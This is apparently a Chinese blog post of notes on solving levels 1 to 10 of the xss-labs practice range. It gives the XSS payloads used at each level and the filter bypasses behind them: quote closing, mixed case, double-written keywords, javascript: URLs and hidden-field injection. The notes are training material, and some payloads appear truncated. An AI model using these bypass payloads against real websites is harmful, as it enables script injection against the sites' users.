Xsslabs靶场笔记Level1-10

前言

仅练习了前10关,并没有详细解释如何构造payload,如有需求可参考最后的文章。

靶场下载:蓝奏云-密码blhk

正文

payload常用函数




onclick="alert(1)"#鼠标单击触发弹框
onfocus="alert(1)"#获得焦点弹框

Level-1

Xsslabs靶场笔记Level1-10_第1张图片

Level-2

使用第一关的语句 会发现被传输到下方的搜索框中 打开控制台看到语句 根据语句调整为

Xsslabs靶场笔记Level1-10_第2张图片

"onclick="javascript:alert(1)"

前面的双引号 是让前面语句闭合 然后传入一个事件是鼠标单击事件进行触发弹框,只需要点一下搜索框即可

Xsslabs靶场笔记Level1-10_第3张图片

Level-3

使用第二关的payload发现没用 右键查看源代码发现被转实体了

Xsslabs靶场笔记Level1-10_第4张图片

htmlspecialchars()函数 详解

>& (和号)  成为&
" (双引号)  成为 "
' (单引号)  成为 '
< (小于)    成为 <
> (大于)    成为 >

发现单引号并没被过滤 使用单引号进行构造

'onclick='javascript:alert(1)'

Xsslabs靶场笔记Level1-10_第5张图片

Level-4

输入level1的payload发现尖括号被过滤 使用level2的payload

Xsslabs靶场笔记Level1-10_第6张图片

成功弹框

"onclick="javascript:alert(1)"

Xsslabs靶场笔记Level1-10_第7张图片

Level-5

on和script都被过滤 使用新的payload 也就是超链接形式

Xsslabs靶场笔记Level1-10_第8张图片

">

Xsslabs靶场笔记Level1-10_第9张图片

Leve6

Xsslabs靶场笔记Level1-10_第10张图片

全部被过滤 插入下划线破坏语义

这里使用大小写混淆 来构造payload

"OnClicK="javascript:alert(1)"

Xsslabs靶场笔记Level1-10_第11张图片

Level-7

过滤了on和script

Xsslabs靶场笔记Level1-10_第12张图片

采用双写进行绕过 构造payload

"oonnclick="javasscriptcript:alert(1)"

Xsslabs靶场笔记Level1-10_第13张图片

Level-8

Xsslabs靶场笔记Level1-10_第14张图片

发现大小写耶无法绕过 尝试使用编码

Unicode编码转换 - 站长工具

Xsslabs靶场笔记Level1-10_第15张图片

Xsslabs靶场笔记Level1-10_第16张图片

Level-9

插入代码 根据提示链接不合法 在后面跟加一个正确的url地址 使用//对后面进行注释

Xsslabs靶场笔记Level1-10_第17张图片

javascrip:alert(1)//http://www.baidu.com

虽然成功插入代码 但是还是无法弹框 利用编码转换一下

javascript:alert(1)//http://www.baidu.com

Xsslabs靶场笔记Level1-10_第18张图片

Level-10

hidden 为隐藏值 我们通过如下代码测试哪些可以被改变

Xsslabs靶场笔记Level1-10_第19张图片

?keyword=&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

发现 t_sort被改变 以此为突破点构造xss 同时发现scrip被过滤 所以构造如下payload

1&t_sort=" type="text" onclick="alert('xss')

Xsslabs靶场笔记Level1-10_第20张图片

参考链接

具体详情可阅读此篇文章:xss-labs通关大合集_wo41ge的博客-CSDN博客_xss-labs

你可能感兴趣的:(学习笔记,xss,网络安全)